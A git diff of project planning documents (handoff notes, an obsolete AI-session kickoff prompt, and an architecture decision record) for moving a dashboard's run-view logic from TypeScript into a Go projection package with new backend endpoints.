+Port the detail pipeline: `shared/src/runs/{enrich(enrichFormulaRun),formula-run,groups,edges,node-shape,execution-instances,formula-order,session-link,display-state}.ts` into `internal/runproj` (`BuildRunDetail`). Sizes: `groups.ts` 359, `formula-run.ts` 289, `execution-instances.ts` 264, `node-shape.ts` 190, others smaller. The graph-layout (groups semantic-id disambiguation, alias maps, loop instancing; node-shape) is the hard, correctness-sensitive core — port as Go code, single-homed (the ADR says it's genuinely not data).
+
+**Design facts (verified this session — read before porting):**
+- **The golden path is BEAD-DERIVED ONLY.** The generator builds `rundetail_golden.json` via `snapshotForRun(beads, "dt-adopt1")` → `enrichFormulaRun(snapshot, {})` — **no sessions, no formulaDetail** (`gen-run-goldens.mts:buildDetailGolden`). So the golden-gated Go port is the bead-derived detail; session/compiled-formula enrichment is OUT of golden scope.
+- **Input shape:** `enrichFormulaRun` consumes a `RunSnapshot` of `RunSnapshotBead` (`shared/src/run-snapshot.ts`: id, title, status, **kind**, step_ref, scope_ref, logical_bead_id, metadata), NOT `beads.Bead`. The Go port must reproduce the generator's projection from the fold:
+  - `snapshotForRun(beads, rootId)` member selection: `id==rootId || parent==rootId || metadata['gc.root_bead_id']==rootId || id.startsWith(rootId+'.')`.
+  - `toRunSnapshotBead`: `kind = metadata['gc.original_kind'] ?? issue_type`; `step_ref = ref`; `scope_ref = metadata['gc.scope_ref']`; `logical_bead_id = metadata['gc.logical_bead_id']`.
+  - `depsForMembers`: each non-root member → `{from: rootId, to: member.id, kind:'parent'}`.
+  - snapshot identity from root metadata; **`snapshot_version=1`, `snapshot_event_seq=100`** (generator constants — they appear verbatim in the golden's `snapshotVersion`/`snapshotEventSeq`). Parameterize these (e.g. `BuildRunDetail(beadList, runID, version, eventSeq)`): golden test passes 1/100; the live endpoint passes a real version + the tailer's `LastSeq()`.
+- **Shared classifier (ADR invariant):** `formula-run.ts` calls the SAME `mapRunPhase`/`stageProgress`/`stagesForFormula` already ported in P1 `phasemapping.go`. Reuse them so detail stages == summary stages by construction. Add a summary↔detail consistency test (same fixture run → same phase/stage through both).
+- **session-link caveat:** `session-link.ts` (lane→session links in the detail view) only fires when `opts.sessions` is passed, which the golden path does NOT — so its effect is ABSENT from the golden. Port it for the live endpoint's request-time session enrich (mirror P2's summary enrich), but it is not golden-gated. `session-link.test.ts` exists — port it as a unit test. (`session-link.ts` differs in the `new-dashboard` dirty tree; the committed golden was generated on the clean `runs-proj` base and is valid — don't regenerate against the dirty tree.)
+- **Detail golden shape (19 keys):** runId, rootBeadId, rootStoreRef, resolvedRootStore, scopeKind, scopeRef, title, formula, formulaDetail, executionPath, snapshotVersion, snapshotEventSeq, completeness, progress, phase, stages, nodes, edges, lanes. Fixture `dt-adopt1` run → 5 nodes, 4 edges, 7 stages, 1 lane. Same union-marshaling discipline as P1/P2a (per-arm keys in TS object-literal order).
+
+**Endpoint:** `GET /api/city/{cityName}/runs/{runId}/detail` on the BFF plane (non-Huma) returning the unchanged `FormulaRunDetail` DTO. The tailer already holds the warm `Projector`; the handler gets `Projector.Beads()` (all) + the `runId`, calls `BuildRunDetail` (which does member selection), then optionally request-time session enrich. Mirror `registerRunSummary`/`cityRunTailer` in `runtailer.go`.
+
+### P4 — SPA cutover (P4a ✅ DONE) + delete dead TS run logic (P4b ✅ DONE)
+
+**P4 is COMPLETE.** P4a (cutover) = `30dbb7214` + `ceaeac078`; P4b (deletion) = `c2aa9ac53` (30 files, +47/−5162 — 17 fold/graph modules + 5 tests deleted, the barrel pruned, the golden generator retired, `health.ts`/`summary.ts` slimmed to the kept selectors). The shipped dist is byte-identical (the deleted TS was already tree-shaken). All gates green. **Only P5 (`runspec` codegen) remains — deferrable; the system rests stably at single-home-in-Go.** The P4b scope below CORRECTED the original plan (a 24-agent value-import audit, `wf_dcc89776-4d0`, found "delete all of `shared/src/runs/*`" was wrong):
+
+- **KEEP (live presentation selectors over the server-computed DTO — NOT dead fold):** `runs/blocked.ts` (`selectBlockedRuns` — `attention/registry.ts` + `RunMap.tsx`), `runs/health.ts`'s `laneNeedsOperator` (`AmbientHome.tsx` + `StatusSentence.tsx`), `runs/summary.ts`'s `MAX_VISIBLE_ACTIVE_LANES` (`RunMap.tsx`). All three are DTO-only (blocked.ts imports only `RunLane`/`RunLaneScope` types; the others need only DTO types + `session-resolve`), so they do NOT pull in the fold. `health.ts`/`summary.ts` should be **slimmed** to just the kept symbol (drop the dead `deriveRunHealth`/`buildCensus`/`advanceProgressMarks`/`buildRunSummary`/`runCounts`/`runBeadFilter`), which then frees `phaseMapping.ts`/`formula-name.ts`/`liveness.ts`/`bead-fields.ts`.
+- **DELETE (the dead fold + graph-layout pipeline, ~3–4k LOC):** `enrich, formula-run, groups, edges, node-shape, execution-instances, execution-path, display-state, formula-order, lanes, runtime-state, status, session-link, bead-fields` (+ `phaseMapping, formula-name, liveness` once `summary.ts` is slimmed) + their `*.test.ts`, plus the matching `runs/*` re-exports in `shared/src/index.ts`. Top-down (enrich → formula-run → leaves); `tsc` is the safety net (an orphaned value import fails immediately).
+- **RETIRE the golden generator:** `scripts/gen-run-goldens.mts` value-imports `buildRunSummary`/`fromDashboardBead`/`enrichFormulaRun`/health/liveness, so it breaks on deletion. The goldens become **frozen Go-owned fixtures** (the Go golden tests already read the committed `internal/runproj/testdata/*.json` directly; Go is the single source now). Delete the generator + the `gen:run-goldens`/`gen:run-goldens:check` npm scripts. **⚠️ This removes the `gen:run-goldens:check` gate the original plan listed as "keep green" — an intentional consequence of single-homing in Go, flagged to the operator.** (Future Go-side golden changes would want a small `go test -update` flag — a P5-adjacent follow-up.)
+- The 3 adversarial cutover-review findings were fixed in `ceaeac078` (detail retry resilience, decoder edge-depth, stale prose).
+
+The original frontend-only cutover plan (steps 1–4 below) is retained as history; it is DONE.
+
+> The file/symbol map below was gathered by exploration on the rebased base; **the exact RunPhase/RunStage/RunConstructKind enum members and DTO field sets must be re-read from the actual `.ts` files** (`shared/src/snapshot/types.ts`, `shared/src/run-detail.ts`, `shared/src/run-snapshot.ts`) before relying on them — an explore pass mis-listed `RunPhase`. Treat the paths as solid, the type enumerations as "verify first".
+
+**Cutover (≤5 files per phase; keep DTOs byte-stable — they are now the Go↔TS contract):**
+1. **API client** (`frontend/src/api/client.ts`) — add two GET methods following the existing `request('GET', cityPath(...), decoder)` pattern (same one `api.runDiff` uses; `cityPath()` → `/api/city/{activeCity}/*`, `parseApiErrorBody` → `ApiClientError(status, message, kind)`, `X-GC-Request` only on mutations). Decoders return the existing `RunSummary` / `FormulaRunDetail` types (`objectDecoder`).
+2. **Summary loader** (`frontend/src/supervisor/runSummary.ts`) — replace the multi-read fold (`listBeads` core + `formulaFeed` + per-rig `task` + `molecule(all=true)` + `listSessions`, then `buildRunSummary`→`enrichRunSummary`) with one warm GET to `/runs/summary`. Preserve the export surface (`loadSupervisorRunSummary{,Mount,Active,Preview}Source`) so `runs/runSummarySubscription.tsx` and `Runs.tsx`/`AmbientHome.tsx`/the attention badge keep working; the mount/active/preview variants collapse to the same cheap warm read (the server already did the enrich + thrash marks). **Keep the SSE nudge + debounce in `runs/runSummarySubscription.tsx` (`REFRESH_DEBOUNCE_MS=10_000`, `useGcEventRefresh([bead])`) — it now guards a sub-second warm read instead of the slow scan.**
+3. **Detail loader** (`frontend/src/supervisor/runDetail.ts`) — replace `workflowRun`+`formulaDetail`+`listSessions`+`enrichFormulaRun` with one GET to `/runs/{runId}/detail`. **Map the BFF error contract to the existing `useFormulaRunDetail` states** (`frontend/src/hooks/useFormulaRunDetail.ts`): HTTP **422 + `{reason:'not_run_view'}`** → the hook's `'unsupported'` state; **422 + `{reason:'invalid_snapshot'}`** → load error; **404** → `'not_found'`; **503** (warming) → transient retry. The detail route `frontend/src/routes/FormulaRunDetail.tsx` + its `useGcEventRefresh` wiring stay.
+4. **Shadow-compare** both paths over a soak window (log-diff old fold vs new endpoint) before deleting — the goldens prove byte-parity on the fixture, but live data exercises the uncovered paths (loops/retries/scope-check bridging) the golden does not.
+5. **Delete the TS logic** — ⚠️ **SUPERSEDED by the "P4b deletion scope CORRECTED" block above.** The original "delete all of `shared/src/runs/*`" is wrong: `blocked.ts`, `laneNeedsOperator` (health.ts), and `MAX_VISIBLE_ACTIVE_LANES` (summary.ts) are live DTO selectors that STAY, and the golden generator must be retired. Use the corrected scope.
+
+**Gates:** `make dashboard-check` (= `dashboard-build` → `npm run typecheck` → `go test ./internal/api/dashboardspa/... ./internal/api/dashboardbff/...`) green; rebuild + re-embed `dist` (`//go:embed all:dist` in `internal/api/dashboardspa/embed.go`; `make dashboard-ci` checks the `internal/api/dashboardspa/dist/` git diff); start the SPA locally (`npm run preview -- --host 127.0.0.1 --port <port>` from `…/web`) and verify both views render against a live city. **Strengthen `wire_contract_test.go`** (ADR Phase 0 follow-up: today it only checks Go-side JSON shape) to run emitted Go JSON through the real TS decoders in Vitest, so the now-contract DTOs cannot drift in shape — do this BEFORE deleting the TS, while the decoders still exist.
+
+**Fallback:** if a live path reveals a Go-vs-TS divergence under shadow-compare, fix it in `internal/runproj` (add a fixture case + regenerate the golden on the clean base) rather than reviving TS logic. P4 can land incrementally: cutover-behind-shadow first (additive, revertable), deletion second.
+
+### P5 — `runspec` codegen
+- Author `runspec/*.toml` (stage tables, phase vocab, lifecycle rank, `gc.kind`→construct sourced from `internal/beadmeta` + `internal/dispatch`); add `go:generate` + npm prebuild emitting `internal/runspec/spec_gen.go` + `shared/src/runs/spec/spec.gen.ts`; refactor P1/P3 literals to read the generated constants; add a regenerate-and-diff CI test mirroring `TestOpenAPISpecInSync`. If P5 is deferred, the system rests stably at P4 = single-home-in-Go.
+
+## Gotchas (read these)
+
+- **Pre-commit hook is broken** (stale `docs/schema/` path on the machine's shared `core.hooksPath`). Run its checks manually (gofmt, `make lint-changed LINT_CHANGED_SCOPE=staged`, `go vet`) then `git commit --no-verify`; `git push --no-verify`. Note it in PR bodies.
+- **Golden discriminated unions:** Go maps reorder keys; `marshal.go` emits per-arm keys in TS object-literal order. `statusCounts` uses JS insertion order (not alphabetical). Use `sort.SliceStable` (JS sort is stable).
+- **Timestamps:** `beads.Bead.UpdatedAt` zero → fall back to `CreatedAt`; re-render RFC3339 UTC (`…Z`) to match the fixture. The TS `Number.isFinite(Date.parse(x))` guard → a parse failure means "not stale"; the Go port mirrors this via `millisFromTimestamp` returning `ok=false` (`enrich.go`).
+- **Live-view determinism (P2b):** never feed the live tailer a plain `Fold` map — Go map iteration is random and `BuildRunSummary` groups by first-seen order, so the view would flicker between requests. Use `runproj.Projector` (order-preserving). P3's detail endpoint must do the same.
+- **Race-free tail resume (P2b):** the tailer captures its byte offset BEFORE the cold replay and dedupes events past the projector cursor (`eventsAfter`). Do NOT "optimize" this to compute the offset after `close(readyCh)` — the race detector caught that ordering dropping events that race the replay.
+- **No `transientCityEventProvider`:** the ADR/old-prompt named it but it doesn't exist. P2b uses a self-contained read-only `events.ReadFrom` byte-offset loop (`runtailer.go`) — fork-owned, no supervisor-core wiring, no second writer. Keep P3's detail tailing on the same warm Projector.
+- **Sessions read:** `/v0/city/{name}/sessions` returns `ListBody[sessionResponse]`; unmarshal `items` straight into `[]runproj.DashboardSession` (extra wire fields are ignored — equivalent to the frontend `normalizeSessions`).
+- **Rebase** `feat/runs-event-projection` onto `origin/feat/dashboard-supervisor-hosting` whenever the dashboard branch advances (it has moved several times).
+- The full `cmd/gc` test package times out as one monolith — use the sharded targets / targeted `-run` (see `TESTING.md`). Run the tailer/endpoint tests under `-race` (`go test -race ./internal/api/dashboardbff/`).
+
+## Pointers
+
+- Architecture: `plans/runs-view-architecture-adr.md` · Design + evidence: `plans/runs-view-event-sourcing.md`
+- Code (object-model): `internal/runproj/` — P0 `fold.go`; P1 `{summary,types,marshal,phasemapping,scope,strip,formulaname}.go`; P2a `{enrich,session}.go` (+ available-arm marshalers); P2b `projector.go`. Goldens + fixtures: `internal/runproj/testdata/{beads_fixture,sessions_fixture,runsummary_golden,runsummary_enriched_golden,rundetail_golden}.json`. Generator: `internal/api/dashboardspa/web/scripts/gen-run-goldens.mts`.
+- BFF plane: `internal/api/dashboardbff/{plane.go,samplers.go(citySampler pattern),runtailer.go(P2b tailer+endpoint to mirror for P3)}` · plane Start/Stop is called from `cmd/gc/supervisor_dashboard.go` (no edit needed — tailers enable inside `plane.Start`).
+- TS sources to port for P3: `internal/api/dashboardspa/web/shared/src/runs/{enrich,formula-run,groups,edges,node-shape,execution-instances,formula-order,session-link,display-state}.ts` + types `shared/src/{run-detail,run-snapshot}.ts`. Frontend detail enrich (P4): `frontend/src/supervisor/runDetail.ts`.
diff --git a/plans/runs-view-NEXT-SESSION-PROMPT.md b/plans/runs-view-NEXT-SESSION-PROMPT.md
new file mode 100644
index 0000000000..6e62bf2fc1
--- /dev/null
+++ b/plans/runs-view-NEXT-SESSION-PROMPT.md
@@ -0,0 +1,35 @@
+# Next-session kickoff prompt
+
+> ⚠️ **OBSOLETE — P4 IS COMPLETE** (P4a `30dbb7214` + `ceaeac078`, P4b `c2aa9ac53`).
+> The SPA cutover and the dead-fold deletion both landed and pushed on
+> `feat/runs-event-projection`. The block below kicks off P4 and must NOT be
+> re-run. The only remaining phase is **P5 (`runspec` codegen)** — deferrable;
+> the system rests stably at single-home-in-Go. See `runs-view-HANDOFF.md`.
+
+Paste the block below into a fresh session to continue this work at **P4**.
+
+---
+
+Continue the dashboard **Runs-view event-sourcing** work — next phase is **P4 (SPA cutover + delete the TS run logic)**. Read `plans/runs-view-HANDOFF.md` first (in the `runs-proj` worktree): it has the full state, the decided architecture (ADR: `plans/runs-view-architecture-adr.md`), the worktree map, the verification commands, and — most importantly — the **expanded P4 section** (concrete files/hooks/error-contract/gates). Also recall memory `runs-view-event-sourcing`, `gascity-runs-proj-worktree-layout`, and `gascity-precommit-hook-stale-absolute-hookspath`.
+
+Where things stand: PR **#3793** (branch `feat/runs-event-projection`, stacked **draft** on dashboard PR #3727) has **P0–P3 landed and pushed** (HEAD `366741c42`, rebased onto dashboard tip `05b3a8ca6`). The Go projection is done and golden-byte-green: `BuildRunSummary`/`EnrichRunSummary` (P1/P2) and `BuildRunDetail` (P3) in `internal/runproj`, plus **both BFF endpoints already serve the unchanged DTOs**: `GET /api/city/{city}/runs/summary` and `GET /api/city/{city}/runs/{runId}/detail`. So **P4 is frontend-only** — no new Go logic (only optionally strengthening `wire_contract_test.go`).
+
+Architecture is **SingleSource-RunProjection**: run semantics live once in Go; the SPA becomes a **pure renderer** of the existing `RunSummary`/`FormulaRunDetail` DTOs. P4 deletes ~4.3k LOC of TS run logic.
+
+Hard rules:
+- Work ONLY in `/data/projects/gascity/.claude/worktrees/runs-proj`. The `new-dashboard` worktree has ~300 uncommitted non-mine changes — LEAVE IT UNTOUCHED. Shell cwd resets each Bash call, so prefix commands with `cd /data/projects/gascity/.claude/worktrees/runs-proj && …`.
+- **Keep the DTO types byte-stable** — `shared/src/{snapshot/types,run-detail,run-snapshot}.ts` are now the Go↔TS contract; render components import them `import type`. The Go side marshals to exactly these shapes (golden-gated).
+- Gate every change: `make dashboard-check` (`dashboard-build` → `npm run typecheck` → `go test ./internal/api/dashboardspa/... ./internal/api/dashboardbff/...`) green; keep `go test ./internal/runproj/ -count=1` + `-race ./internal/api/dashboardbff/` green; keep `npm run gen:run-goldens:check` (from `internal/api/dashboardspa/web`) green; keep `TestOpenAPISpecInSync` green. Rebuild + re-embed `dist` and check the `internal/api/dashboardspa/dist/` git diff (`make dashboard-ci`).
+- The shared pre-commit hook is broken (stale absolute `core.hooksPath`) — run gates manually, then `git commit --no-verify` / `git push --no-verify`. The dashboard branch is periodically **rebased**; if it advanced, re-rebase with `git rebase --onto origin/feat/dashboard-supervisor-hosting <current-base>` (a plain rebase replays old dashboard commits and conflicts). Keep #3793 a draft until #3727 merges.
+- ⚠️ An explore pass mis-listed the `RunPhase` enum — **re-read the actual `.ts` type files** before trusting any enum/field list in the handoff.
+
+**Do P4 in revertable phases (≤5 files each), then stop and report:**
+1. **API client** (`frontend/src/api/client.ts`): add two GET methods mirroring `api.runDiff`'s `request('GET', cityPath(...), objectDecoder<…>())` pattern, returning the existing `RunSummary` / `FormulaRunDetail` types.
+2. **Summary loader** (`frontend/src/supervisor/runSummary.ts`): replace the multi-read fold (`listBeads`+`formulaFeed`+per-rig `task`+`molecule(all=true)`+`listSessions` → `buildRunSummary`→`enrichRunSummary`) with one warm GET to `/runs/summary`; **preserve the export surface** (`loadSupervisorRunSummary{,Mount,Active,Preview}Source`) so `runs/runSummarySubscription.tsx` keeps working; **keep the SSE nudge + `REFRESH_DEBOUNCE_MS=10_000` debounce** — it now guards a sub-second warm read.
+3. **Detail loader** (`frontend/src/supervisor/runDetail.ts`): replace `workflowRun`+`formulaDetail`+`enrichFormulaRun` with one GET to `/runs/{runId}/detail`; **map the BFF error contract** to the existing `useFormulaRunDetail` states (`frontend/src/hooks/useFormulaRunDetail.ts`): 422+`reason:'not_run_view'` → `'unsupported'`; 422+`reason:'invalid_snapshot'` → load error; 404 → `'not_found'`; 503 → transient retry. The detail route + its SSE wiring stay.
+4. **Shadow-compare** both paths over a soak window against a live city before deleting (the golden covers only the simple path; live data exercises loops/retries/scope-check bridging). If a divergence shows, fix it in `internal/runproj` (+ fixture case + regenerate golden on the clean base), NOT by reviving TS.
+5. **Strengthen `wire_contract_test.go`** to run emitted Go JSON through the real TS decoders in Vitest (ADR Phase 0 follow-up) — do this BEFORE the deletion, while the decoders still exist.
+6. **Delete** `shared/src/runs/*.ts` (+ `*.test.ts`, ~4.3k LOC), the two `supervisor/run{Summary,Detail}.ts` fold bodies, and the `runs/*` re-exports in `shared/src/index.ts`; KEEP the three DTO type modules; repoint/delete the lone value-import test (`frontend/src/attention/registry.test.ts` → `selectBlockedRuns`). Rebuild + re-embed `dist`; `make dashboard-check` green; preview the SPA (`npm run preview -- --host 127.0.0.1 --port <port>` from `…/web`) and verify both views render live.
+7. Land P4 as gated commit(s) on `feat/runs-event-projection`, push, update `plans/runs-view-HANDOFF.md` + the `runs-view-event-sourcing` memory, and report. (P5 = `runspec` codegen is a separate, deferrable phase; the system rests stably at P4 = single-home-in-Go.)
+
+---
diff --git a/plans/runs-view-architecture-adr.md b/plans/runs-view-architecture-adr.md
new file mode 100644
index 0000000000..c909c7feb3
--- /dev/null
+++ b/plans/runs-view-architecture-adr.md
@@ -0,0 +1,256 @@
+# ADR: Run View End-State Architecture (Summary + Detail)
+
+Status: Proposed (Lead Architect decision)
+Date: 2026-06-28
+Deciders: Lead Architect, operator
+Priority order: maintainability > testability > UX/performance. Effort-agnostic.
+
+## Context
+
+The dashboard Run view (summary lanes + per-run detail diagram) is
+reconstructed almost entirely client-side in TypeScript. The summary view
+fans out to four slow supervisor `/v0` reads — `molecule(all=true)` (~6.8s
+over ~340k rows), `formulaFeed` (~10s), per-rig `task(all=true)`, and the
+active `listBeads` — then folds them in the browser via `buildRunSummary`
+(`shared/src/runs/summary.ts`) and `enrichRunSummary`
+(`frontend/src/supervisor/runSummary.ts`). The bottleneck is the **data
+fetch**, not the fold. The detail view is **already fast**: it fetches a
+server-folded `workflowRun` SQL snapshot (`buildWorkflowSnapshot` →
+`tryFullWorkflowSQL`, ~190ms) plus the compiled formula
+(`api.formulaDetail`), then enriches in TS.
+
+Verified code facts that drove this decision:
+
+- **Run logic is large and shared.** `shared/src/runs/*.ts` is ~5,000 LOC
+  non-test (`phaseMapping.ts` 708, `summary.ts` 510, `groups.ts` 359,
+  `formula-run.ts` 289, `execution-instances.ts` 264, `health.ts` 224,
+  `node-shape.ts` 190, …) plus ~779 LOC of frontend enrich. It powers
+  **both** the summary and the detail diagram.
+- **Summary and detail share the classifier.** `formula-run.ts` imports and
+  calls the *same* `mapRunPhase` / `stageProgress` from `phaseMapping.ts`
+  (lines 17, 128, 130) that `summary.ts` uses. Any design that puts summary
+  phase in Go and leaves detail phase in TS **re-forks this exact surface** —
+  the outcome every credible candidate calls the worst.
+- **The drift trap is real.** `phaseMapping.ts` `stagesForFormula`
+  (lines 439–575) hand-maintains per-formula step-id stage tables
+  (`mol-adopt-pr-v2`, `mol-design-review-v2`, `mol-bug-report-flow-v2`,
+  `mol-bug-report-implementation-v2`) that mirror the Go compiler's step IDs
+  with **no coupling and no CI gate**. A formula TOML edit silently desyncs
+  the run view.
+- **The compiler does not own the phase taxonomy.** `recipe.Step.Phase` is
+  only `"vapor"`/`"liquid"` (an instantiation hint). The compiler
+  (`buildFormulaDetail`) owns step IDs + the node/edge graph, but the named
+  stage buckets/labels and the RunPhase vocabulary
+  (intake/implementation/review/approval/finalization) are **additive
+  interpretation** that lives only in TS today. So "derive stages from the
+  compiler and delete `phaseMapping`" is only partly possible — it relocates
+  that knowledge, it does not eliminate it.
+- **`node-shape.ts` re-encodes Go-owned vocabulary.** The
+  `gc.kind`→`RunConstructKind` map and `HIDDEN_CONSTRUCTS` set encode kinds
+  (`ralph`, `check`, `spec`, `fanout`, …) that are stamped by the Go
+  dispatcher (`internal/dispatch/fanout.go`) and keyed in
+  `internal/beadmeta/keys.go`. Same drift class as the stage tables.
+- **The substrate already exists.** `citySampler` (lazy per-city background
+  tailer), the `fetchStatus` loopback `127.0.0.1:port` pattern, the
+  `transientCityEventProvider` read-only `Watch` (no second writer),
+  `events.ReadFiltered` (which transparently walks rotated `.gz` archives),
+  and `wire_contract_test.go` (field-shape guard) are all present in
+  `internal/api/dashboardbff` and `internal/events`.
+- **Rotation correction.** `EventsRotationConfig.EnabledOrDefault()` returns
+  `true` when `[events.rotation]` is absent, so the production city path
+  rotates at **256 MiB by default** (the design doc's "rotation off" claim is
+  wrong). But `archive_retain_age` defaults empty → 0 → archives kept
+  forever, and `ReadFiltered` walks them, so cold replay still reconstructs
+  full history.
+- **Liveness exists.** The SPA already runs `useGcEventRefresh([bead])` with
+  a 10s debounce floor (`REFRESH_DEBOUNCE_MS`).
+
+## Decision
+
+Adopt **SingleSource-RunProjection**: run *semantics* get exactly one home
+in Go, and run *knowledge* that is editable data is lifted into a versioned
+declarative spec that is code-generated to both languages under one CI gate.
+
+1. **`internal/runproj` (new, fork-owned).** The single home of run
+   projection: the events→bead fold; `BuildRunSummary` (grouping precedence,
+   `isRunGroup`, `mapRunPhase`/`stepIdPhase`, `stageProgress`, counts); and
+   `BuildRunDetail` (`groupRunBeads`, semantic-id resolution, edges,
+   execution instances, display-state, lanes). Summary and detail are two
+   entry points over **one** set of primitives — they call the same grouping,
+   the same phase classifier, the same formula-identity resolver. Depends only
+   on `internal/beads`, `internal/beadmeta`, `internal/formula` (all Layer
+   0–1; no upward dependency).
+2. **`runspec/*.toml` + codegen (the data layer).** Per-formula stage tables,
+   phase-token vocabularies, lifecycle rank, the `gc.kind`→construct map
+   (sourced from `internal/beadmeta`/`internal/dispatch`), and the
+   hidden-construct set are authored once as data and `go:generate` +
+   npm-prebuild into `internal/runspec/spec_gen.go` and
+   `shared/src/runs/spec/spec.gen.ts`. A regenerate-and-diff CI test
+   (mirroring `TestOpenAPISpecInSync`) fails the build if either generated
+   file diverges from the source `.toml`.
+3. **Per-city run-projection tailer in `internal/api/dashboardbff`** (modeled
+   on `citySampler`): lazy start, cold-replay `.gc/events.jsonl` via
+   `ReadFiltered` (archives included), live-tail via read-only `Watch`, fold
+   `bead.created/updated/closed/deleted` into `map[beadID]Bead`, and on each
+   tick republish the summary + detail projections under a brief lock.
+   Server-owned and singular per city, so all viewers converge. The
+   monotonic progress/thrash marks move **into the tailer** (shared across
+   viewers, survive reload).
+4. **Two non-Huma BFF `/api` endpoints** (loopback-only, no OpenAPI churn):
+   `GET /api/city/{city}/runs/summary` and
+   `GET /api/city/{city}/runs/{runId}/detail`, serving the **existing**
+   `RunSummary` and `FormulaRunDetail` DTOs byte-for-byte. Each layers
+   session health/census at request time from one loopback `/v0` sessions
+   read.
+5. **The SPA becomes a pure renderer.** Delete ~5,000 LOC of shared run logic
+   and ~779 LOC of frontend enrich. Keep only render components and DTO
+   types, plus an import of the generated spec for presentation-only
+   label/kind lookups.
+
+### Diagram
+
+```
+                       runspec/*.toml  (single source of run KNOWLEDGE)
+                              │  go:generate + npm prebuild  (CI: regen-and-diff)
+                ┌─────────────┴──────────────┐
+                ▼                             ▼
+   internal/runspec/spec_gen.go      shared/src/runs/spec/spec.gen.ts
+                │                             │ (presentation lookups only)
+                ▼                             │
+ .gc/events.jsonl ──ReadFiltered(+.gz)──▶ runproj fold  map[beadID]Bead
+   bead.created/updated/closed/deleted     │   (read-only Watch, no 2nd writer)
+                                           ├─▶ BuildRunSummary ─┐
+                                           └─▶ BuildRunDetail ──┤ ONE classifier
+                                                                ▼
+                          per-city tailer (citySampler-style, warm, server-owned)
+                                                                │
+   GET /api/city/{city}/runs/summary  ◀──── cached summary  ───┤
+   GET /api/city/{city}/runs/{runId}/detail ◀── cached detail ─┘
+                    │ + request-time loopback /v0 sessions enrich (health/census)
+                    ▼
+        RunSummary / FormulaRunDetail DTO  (unchanged shape)
+                    │   SSE useGcEventRefresh([bead]) nudge, 10s debounce
+                    ▼
+        SPA render components + spec.gen.ts (zero run logic)
+```
+
+## How the detail diagram is handled (no silent duplication)
+
+The detail diagram is served by a **second projection in the same tailer
+over the same fold reading the same spec** — not duplicated logic. Today the
+detail view already consumes the compiled Go formula (`api.formulaDetail`,
+which `orderRunNodeGroups` uses for ordering) and already fetches a
+server-folded SQL snapshot; only the visual enrichment runs in TS. Under this
+ADR, `runproj/BuildRunDetail` calls the **same** `mapRunPhase`/`stageProgress`
+as `BuildRunSummary`, so the detail StageLadder and the summary lane's stages
+are identical **by construction**, not by two TS call sites that happen to
+agree. The graph-layout algorithm (`groups.ts` semantic-id disambiguation,
+alias maps, loop instancing; `node-shape.ts` targeting) is genuinely hard to
+express as data, so it is ported to Go as **code, single-homed**, not forced
+into the spec. The only knowledge either view uses is the generated spec; the
+only algorithm is the single Go interpreter pair.
+
+## Testing strategy
+
+- **Golden corpus, captured once.** Trimmed real `events.jsonl` slices (e.g.
+  the daytona-trial-city log → 10 lanes) with expected `RunSummary` and
+  `FormulaRunDetail` JSON captured from the *current* TS output **before** any
+  port. The Go interpreters must reproduce them exactly. This preserves the
+  ~13 encoded `gascity-dashboard-*` bug fixes through the port.
+- **Spec-conformance gate.** Regenerate-and-diff test fails the build if
+  `spec_gen.go` or `spec.gen.ts` diverges from `runspec/*.toml` — turning the
+  highest-probability drift (formula/stage edits) into a build-time failure.
+- **Classifier table/property tests in Go.** Port `phaseMapping.test.ts`
+  (411 LOC) token rules — whole-token matching, lead-up-qualifier rejection,
+  approval-before-finalization precedence, furthest-stage `LIFECYCLE_RANK`
+  determinism — into Go table tests. Property tests: adding a child bead never
+  changes a run's root; closing all beads ⇒ complete.
+- **Wire contract, strengthened.** Upgrade `wire_contract_test.go` from
+  field-presence to running emitted JSON through the **real TS decoders** in
+  Vitest, so the DTO (a type with no behavior) cannot drift in shape.
+- **Tailer integration test.** Write a temp `events.jsonl`, start the tailer,
+  assert the snapshot reflects appended events after a tick, and assert a
+  separate recorder can still append (no second-writer regression).
+- **Summary/detail consistency test.** One fixture run resolves to the same
+  phase/stage through both endpoints — structural, not coincidental.
+- **Endpoint degradation test.** Available health when sessions present;
+  `unavailable` + `lanesPartial` when the sessions read fails.
+
+## Session-health handling
+
+Health and census are **not** event-sourced and never status-filed —
+consistent with the project rule "no status files — query live state."
+`session.woke`/`session.stopped` carry only the session name; `lastActive`,
+`running`, and `activity` are live process facts. `runproj.BuildRunSummary`
+produces lanes with `health`/`census` in the `unavailable` shell. The
+endpoint then layers them at request time: one loopback `/v0/.../sessions`
+read (the existing `fetchStatus 127.0.0.1:port` pattern), then ported
+`deriveRunHealth` + `buildCensus`. When the sessions read fails, health →
+`unavailable`, `phaseConfidence` → `inferred`, census → unverifiable, and the
+DTO sets `lanesPartial: true` — identical to today's contract, but decided
+server-side so every viewer degrades identically. `needsOperator` stays valid
+during a sessions outage because it derives from `lane.phase` (a structural
+fold fact). The monotonic thrash/progress marks live server-side in the
+tailer, so they are shared and survive reload.
+
+## Alternatives rejected
+
+- **ThinServer-FoldOnly** (Go folds events→beads, all run logic stays in TS).
+  Lowest execution risk and genuinely lowest *grep-enforceable* Go-vs-TS
+  drift, but it **freezes** the verified compiler-vs-stage-table trap rather
+  than removing it — disqualifying under an effort-agnostic,
+  maintainability-first mandate. It is the correct choice only if effort were
+  the priority, which the operator waived.
+- **Full Go port without a spec (SingleSource-Go).** Adopted as the *first
+  phase* (it is the de-risking deliverable and the strict-subset fallback),
+  but as the *end state* it relocates the stage tables and kind map into Go
+  *code* rather than data, so adding a formula edits Go source rather than a
+  one-line `.toml` — a larger blast radius for the most frequent change.
+- **HostedParity-Projection** (embedded SQL engine + `phaseMapping` as a SQL
+  UDF). Last on two of three lenses: the most new long-lived coupling for the
+  least drift-reduction, it couples the most-bug-fixed function to an engine
+  UDF API and smears it across three reasoning sites, and its "diff against
+  hosted" parity is aspirational because hosted reads ClickHouse, not the
+  embedded store.
+
+## Migration path
+
+Six phases, each ≤5 files, each verifiable and revertable; the fallback
+(Phase 4 = single-home-in-Go) is a strict subset of the end state.
+
+- **Phase 0 — Freeze the contract.** Pin the existing DTO interfaces;
+  strengthen `wire_contract_test.go` to run emitted JSON through real TS
+  decoders (Vitest); capture golden fixtures from current TS output. *Gate:*
+  goldens captured, decoder check green.
+- **Phase 1 — Go fold + summary interpreter, no wiring.** `internal/runproj`
+  with the fold + `BuildRunSummary`, tables as Go literals for now. *Gate:*
+  Go golden equals captured TS `RunSummary` (modulo health/census).
+- **Phase 2 — Tailer + summary endpoint.** `citySampler`-style tailer
+  (cold replay + read-only `Watch`, server-side thrash marks); `runs/summary`
